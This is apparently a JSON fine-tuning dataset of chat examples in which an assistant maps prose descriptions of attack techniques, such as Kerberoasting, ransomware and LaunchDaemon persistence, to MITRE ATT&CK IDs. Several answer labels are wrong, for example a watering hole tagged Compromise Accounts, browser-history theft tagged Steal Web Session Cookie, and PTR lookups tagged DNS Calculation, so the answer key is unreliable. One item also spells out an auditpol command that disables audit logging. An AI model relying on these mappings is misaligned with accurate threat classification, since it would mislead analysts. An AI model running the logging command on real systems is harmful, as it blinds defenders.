                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware harvests Kerberos tickets from the Windows ticket cache and replays them to gain privileged access across the network."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor removed all entries from the AWS CloudTrail logs to conceal their actions."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor employs a watering hole attack to compromise specific industry targets."
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After stealing credential dumps, the attackers employed a GPU cluster to run large‑scale password cracking operations."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary forces the use of a legacy encryption algorithm with a known small key space, such as RC4 with 128‑bit keys."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware encodes data with a handcrafted Base36 scheme and embeds it in DNS TXT records for stealthy exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a cryptographic ransomware that targets cloud‑synced folders, encrypts the synced files, and sends a ransom email to the victim's account."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated rootkit was deployed to achieve privilege escalation and maintain control."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the group tunnels data through port 4444, a commonly used port for remote administration tools."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload conducts a timing attack to detect virtual machine hypervisors and stops execution if the measured latency exceeds a threshold."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies an existing legitimate service's binary path to point to a malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor extracts saved passwords from the Microsoft Edge password store for credential reuse."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors probe public cloud configuration databases and GitHub commits to discover misconfigured resources."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor replaces the legitimate instant messaging client binary with a version that logs keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors manipulate the pre‑OS ROM monitor to replace the default bootloader with a trojanized version."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a misconfigured FTP server to transfer malware binaries for later execution."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leverages a utility to dump the list of detected Wi‑Fi networks, including encryption types."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi‑Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exfiltration process involves staging data on an internal web server, then using a compromised employee’s browser to download it."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised credentials for a cloud service provider are used to log in and modify IAM policies."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sends a phishing email containing a link that, when clicked, initiates a multi-factor authentication request on the target's registered device."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware accesses the local Apple Mail mailbox files on macOS and compresses them before sending them out."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious process captures Kerberos tickets for service accounts, isolates the encrypted portion, and runs a brute‑force attack to uncover the service account credentials."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modify the Windows Service registry entries to point the service's ImagePath to a malicious executable, causing it to run at system boot."
            },
            {
                "role": "assistant",
                "content": "T1037 - Boot or Logon Initialization Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan employs reflective DLL injection, reading the DLL into a buffer and calling DllMain via reflection to execute its code."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware encrypts all user documents on the victim's C:\\ drive and leaves a ransom note demanding payment in Bitcoin."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Session hijacking was achieved by intercepting unsecured HTTP cookies for a user's TikTok session and reusing them to impersonate the account owner."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan checks the BIOS clock and compares it to an online time server; if there is a discrepancy, it remains dormant to avoid detection in sandboxed setups."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell, the attacker runs a script that exports the SAM registry hive for offline password cracking."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker purchased malicious code and tools on a dark‑web forum to expand their capabilities."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a Word document uses VBA to download and execute additional payloads without triggering macro security warnings."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates a Windows service named 'Microsoft Edge Update' which actually launches a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By tampering with the system's BIOS, the threat actor ensures its code runs prior to any OS level defenses."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a compromised Helm chart to install a containerized payload that runs persistently on the victim's cluster."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion utilizes harvested password hashes to bypass authentication, performing lateral movement via pass the hash."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious software alters the OS kernel parameters to turn off address space layout randomization, downgrading memory protection."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends a malicious HEIC image through a messaging app; the app’s preview function exploits a flaw in the image decoder, leading to user execution of a malicious PowerShell script."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder delivers a Visual Basic script that uses the FileSystemObject to delete logs and hide its activity."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Office add-in was delivered through a phishing attachment, installing a .manifest file that loads a remote script each time the user opens any Office application."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Criminal group obtains a virtual private server to host phishing landing pages and credential harvesters."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Acquire Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set leverages right-to-left overriding characters in PowerShell scripts to disguise malicious code as comments."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistent code is placed in /Library/LaunchDaemons/com.evil.malware.plist to run as root."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code queries the browser history SQLite database to extract visited URLs and timestamps."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised machine, the attacker poisons LLMNR requests, receives the victim’s NTLM hash, and then forwards it to a high-privilege server to gain administrative access."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit includes a checksum validation that fails when breakpoints alter the code flow."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group compromises a third‑party domain registrar to obtain control over victim domains."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Securityd memory is dumped by the malware, allowing extraction of saved email and Wi‑Fi passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors scrape the Windows registry for references to log file locations before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group configures a rule in Outlook that runs a VBA macro upon receipt of an email from a particular domain, establishing a covert channel."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor exploits misconfigured service file permissions to replace the legitimate service binary with a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised WordPress theme was used to serve a malicious script that exploited browser vulnerabilities, resulting in an automatic download of a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder modifies the audit policy settings with \"auditpol /set /subcategory:\"%%4416\" /failure:off\" to stop logging of command line activities."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary utilizes native Linux 'gzip' to compress exfiltrated data before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sends GET requests to the container daemon's insecure API, retrieving the .docker/config.json file."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor achieves persistence by creating a .desktop file in ~/.config/autostart that points to the malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1547.013 - Boot or Logon Autostart Execution: XDG Autostart Entries"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses DNS PTR lookups on its own IP address to confirm connectivity before proceeding with the attack."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group accessed the configuration database and copied the VLAN settings of core switches."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder swaps the trusted system image with a tampered copy by exploiting a privilege escalation vulnerability."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through manipulation of the runtime loader's configuration, the attacker redirects library loading to malicious code, enabling execution of arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary writes collected keystrokes to a local file called keystrokes.log for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan intercepts calls to the WinLogon routine that handles login credentials, extracting usernames and passwords."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a custom DLL to hook Outlook and capture emails as they are sent."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary routes its malicious traffic through an external web proxy to hide the true source of the command and control communication."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a rootkit to issue ioctls that zero out the filesystem superblocks and partition entries."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use PowerShell remoting (WinRM) to move laterally across the network and execute commands on remote machines."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts UEFI variables via the GetVariable API to map the target's firmware configuration."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware enumerates the file system, locating documents, spreadsheets, and PDFs in user directories, then compresses them for later upload."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sets up a DDE channel between a malicious macro and the system's command prompt to run system commands."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through altering the security descriptor of a service's registry key, the intruder can inject a malicious executable that runs under the service's system account."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor writes captured SSH private keys to a world‑readable directory for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload toggles the \"Hidden\" and \"System\" attributes on its files after copying them to the target system's Windows directory."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker utilizes the Google Cloud Scheduler API to schedule and run PowerShell commands in a Cloud Function."
            },
            {
                "role": "assistant",
                "content": "T1059.009 - Command and Scripting Interpreter: Cloud API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker edited the domain's Group Policy Objects to add a malicious scheduled task for persistence."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker applied an obfuscation step that replaces known function names in the tool with random strings, removing recognizable indicators."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a man‑in‑the‑middle tool to splice into an active SSH connection and execute commands as the original user."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker calls employees claiming to be from the company’s HR department and asks for their login credentials to verify payroll information."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set uses public‑key cryptography to encrypt its command and control traffic, making use of the victim’s public key to secure the channel."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
